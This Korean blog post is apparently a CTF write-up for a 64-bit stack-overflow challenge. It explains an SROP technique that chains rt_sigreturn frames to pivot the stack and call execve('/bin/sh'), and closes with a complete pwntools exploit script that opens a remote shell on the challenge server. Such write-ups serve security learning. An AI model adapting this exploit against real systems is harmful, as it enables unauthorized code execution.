티스토리 뷰
Summary
SROP (SigReturn Oriented Programming)
rt_sigreturn
syscallstack emulate
Analysis
0x401000: push rbp
0x401001: mov rbp,rsp
0x401004: sub rsp,0x40
0x401008: mov eax,0x1
0x40100d: mov edi,0x1
0x401012: lea rsi,ds:0x402000 //"Hey, can i get some feedback for the CTF?"
0x40101a: mov edx,0x2a
0x40101f: syscall
0x401021: mov edi,0x0
0x401026: lea rsi,[rsp-0x40] //buf
0x40102b: mov edx,0x400 //overlfow
0x401030: push 0x0
0x401032: pop rax
0x401033: syscall
0x401035: leave
0x401036: ret
간단히 syscall로 이루어져 있는 바이너리이다.
0x401033에서 rax 0(read)을 call해서 입력받을 때, overflow가 발생해서 rip를 컨트롤 할 수 있다.
pop rax; syscall;
가젯을 이용해서 rt_sigreturn
을 call해주면
여러 레지스터들을 control할 수 있는데, 여기서 execve()
call 할때 필요한 "/bin/sh\x00"
을 적어주는 동시에
rsp
와 rbp
를 data영역으로 emulate 해서 overflow를 trigger한다 .
emulated stack에서 rt_sigreturn
을 다시한번 call하고 execve("/bin/sh\x00")
를 호출해주면 된다.
Exploit
from pwn import *
s = remote("146.148.108.204", 4444)
context.arch = 'amd64'
gadget = 0x401027
s.recv()
prax = 0x401032 # pop rax; syscall;
syscall = 0x40101f #syscall;
rw = 0x402000 + 0x500
payload = "A"*0x88
payload += p64(prax)
payload += p64(0xf)
frame = SigreturnFrame()
frame.rax = 0
frame.rsp = rw
frame.rbp = rw + 0x30
frame.rsi = rw
frame.rdi = 0
frame.rdx = 0x400
frame.rip = syscall
payload += str(frame)
s.sendline(payload)
payload2 = "/bin/sh\x00"
payload2 += "a"*(0x30)
payload2 += p64(prax)
payload2 += p64(0xf)
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = rw
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload2 += str(frame)
s.sendline(payload2)
s.interactive()
'pwnable > CTF write-up' 카테고리의 다른 글
[pwnpwnpwn-2] 0ctf 2017 babyheap (0) | 2020.01.03 |
---|---|
[선린고등해커 2019] simple 풀이 (0) | 2019.12.01 |
[Layer7 2019] How old are you? write-up (0) | 2019.10.11 |
64bit srop write-up (0) | 2018.08.05 |
[BCTF 2016] bcloud write-up (0) | 2018.07.28 |
Comments
최근에 올라온 글
최근에 달린 댓글
TAG
- stack reusing
- srop
- HackCTF
- 본선가고싶다
- shellcoding
- rt_sigreturn
- fastbindup
- glibc
- FSB
- pwnable.tw
- tcache
- fastbin
- heap
- overflow
- ebp change
- 해킹
- fsop
- pwnable
- hacking
- exit
- pwable
- SQLi
- oob
- codegate
- TLS
- Total
- Today
- Yesterday